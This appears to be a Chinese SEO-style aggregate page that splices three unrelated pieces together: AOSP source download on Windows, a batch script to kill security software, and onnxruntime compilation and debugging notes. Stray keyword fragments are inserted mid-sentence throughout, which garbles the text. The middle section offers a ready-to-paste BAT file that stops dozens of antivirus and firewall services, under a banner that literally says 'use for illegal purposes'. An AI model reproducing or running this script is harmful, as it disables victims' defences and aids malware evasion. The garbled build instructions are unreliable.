1.Windows平台AOSP源码(使用中科大镜像)
2.用cmd命令关杀毒软件
3.onnxruntime源码学习-编译与调试 (公网&内网)
Windows平台AOSP源码(使用中科大镜像)
要开始在Windows平台上下载AOSP源码,命令命令首先确保你已经安装了必备的源码工具:Python和Git。可以从以下地址下载Python安装包:Python安装包下载地址
对于Git,使用你需要下载安装包,命令命令并在安装过程中确保勾选"Enable symbolic links"选项,源码这将有助于后续操作。使用瓶盖缺陷检测源码Git安装包下载地址
接下来,命令命令安装Repo工具,源码这是使用管理AOSP源码仓库的关键。Repo的命令命令安装教程可以在相关文档中找到。
准备好后,源码打开Git Bash,使用进行如下步骤。命令命令配置环境变量,源码设置REPO_URL为:export REPO_URL='/aos... -b master,使用这里的URL应替换为实际的AOSP仓库地址。
最后,c zxing源码分析执行repo sync命令以同步最新代码。在下载过程中,可以参考Android官网-AOSP源码下载和Android镜像使用帮助文档,以获取详细指导和常见问题解决方案。
用cmd命令关杀毒软件
用BAT文件吧
源码如下:
@echo off
Color 0A
echo =============================================
echo + Day Wan专用杀防火墙及杀毒软件程序 +
echo + +
echo + 请用于非法用途,谢谢合作 +
echo ---------------------------------------------
echo + /daywan +
echo =============================================
@echo off
net stop "Turbo Vaccine Monitoring Service"
net stop "MonSvcNT"
net stop "rising process communication center"
net stop "rising realtime monitor service"
net stop "OfficeScanNT Monitor"
net stop "RemoteAgent"
net stop "Ahnlab Task Scheduler"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "Symantec Proxy Service"
net stop "Symantec Event Manager"
net stop "Norton Internet Security Accounts Manager"
net stop "Norton Internet Security Proxy Srvice"
net stop "Norton Internet Security service"
net stop "Norton AntiVirus Server"
net stop "Norton AntiVirus Auto Protect Service"
net stop "Norton AntiVirus Client"
net stop "Norton AntiVirus Corporate Edition"
net stop "ViRobot Professional Monitoring"
net stop "PC-cillin Personal Firewall"
net stop "Trend Micro Proxy Service"
net stop "Trend NT Realtime Service"
net stop "McAfee.com McShield"
net stop "McAfee.com VirusScan Online Realtime Engine"
net stop "McAfee Agent"
net stop " McAfee SecurityCenter Update Manager "
net stop "McShield"
net stop "SyGateService"
net stop "Sygate Personal Firewall Pro"
net stop "Sygate Personal Firewall"
net stop "Sophos Anti-Virus"
net stop "Sophos Anti-Virus Network"
net stop "eTrust Antivirus Job Server"
net stop "eTrust Antivirus Realtime Server"
net stop "eTrust Antivirus RPC Server"
net stop "ViRobot Expert Monitoring"
net stop "ViRobot Lite Monitoring"
net stop "Quick Heal Online Protection"
net stop "V3MonNT"
net stop "V3MonSvc"
net stop "Security Center"
net stop "Windows Firewall"
net stop "Windows Internet Connection Sharing(ICS)"
net stop "NAV Alert"
net stop "NAV Auto-Protect"
net stop "ScriptBlocking Service"
net stop "DefWatch"
net stop "Background Intelligent Transfer Service"
net stop "System Event Notification"
net stop "BlackICE"
net stop "AVSync Manager"
net stop "AVG7 Alert Manager Server"
net stop "AVG7 Update Service"
net stop "InVircible Scheduler"
net stop "kavsvc"
net stop "avast! Antivirus"
net stop "avast! iAVS4 Control Service"
net stop "Trend ServerProtect Agent"
net stop "Trend ServerProtect "
复制好粘贴到记事本上,保存为BAT文件就可以了...
我也是在别出搜集到的....
onnxruntime源码学习-编译与调试 (公网&内网)
在深入学习ONNX Runtime的过程中,我决定从1.版本开始,以对比与理解多卡并行技术。为此,java 库存系统源码我选择了通过`./tools/ci_build/build.py`脚本进行编译,而不是直接执行`build.sh`,因为后者并不直接提供所需的参数。在`build.py:::parse_arguments()`函数中,我找到了可选择的参数,例如运行硬件(CPU/GPU)、调试模式(Debug/Release)以及是否并行编译。我特别使用了`--skip_submodule_sync`,php网络报修源码以避免因与公网不通而手动下载“submodule”,即`./cmake/external`文件夹下的依赖组件。这样可以节省每次编译时检查依赖组件更新的时间,提高编译效率。同时,我使用`which nvcc`命令来确定`cuda_home`和`cudnn_home`的值。
我的编译环境配置为gcc8.5.0、cuda.7和cmake3..1,仿虎嗅 源码其中cmake版本需要不低于3.,gcc版本则至少为7.0,否则编译过程中会出现错误。在编译环境的配置中,可以通过设置PATH和LD_LIBRARY_PATH来指定可执行程序和动态库的路径。对于手动下载“submodule”的不便,可以通过先在公网编译cpu版本,然后在编译开始阶段由构建脚本自动下载所有依赖组件并拷贝至所需目录来简化流程。
编译顺利完成后,生成的so文件并未自动放入bin目录,这可能是由于在安装步骤后bin目录下才会出现相应的文件。接下来,我进入了调试阶段,使用vscode进行调试,最终成功运行了`build/RelWithDebInfo/onnxruntime_shared_lib_test`可执行文件。
在深入研究ONNX Runtime的编译流程时,我发现了一个更深入的资源,它涵盖了从`build.sh`到`build.py`再到`CmakeList.txt`的编译过程,以及上述流程中涉及的脚本解析。对这个流程感兴趣的读者可以进行更深入的研究。
在编译过程中,我遇到了一些问题,如下载cudnn并进行安装,以及解决找不到`stdlib.h`的问题。对于找不到`stdlib.h`,我通过查阅相关文章和理解编译过程中搜索路径的逻辑,最终找到了解决方案。如果忽略这个问题,我选择在另一台机器上重新编译以解决问题。
在使用vscode调试时,我遇到了崩溃问题,这可能是由于vscode、gdb或Debug模式编译出的可执行文件存在潜在问题。通过逐步排除,我最终确定问题可能出在Debug模式编译的可执行文件上。这一系列的探索和解决过程,不仅加深了我对ONNX Runtime的理解,也提高了我的调试和问题解决能力。
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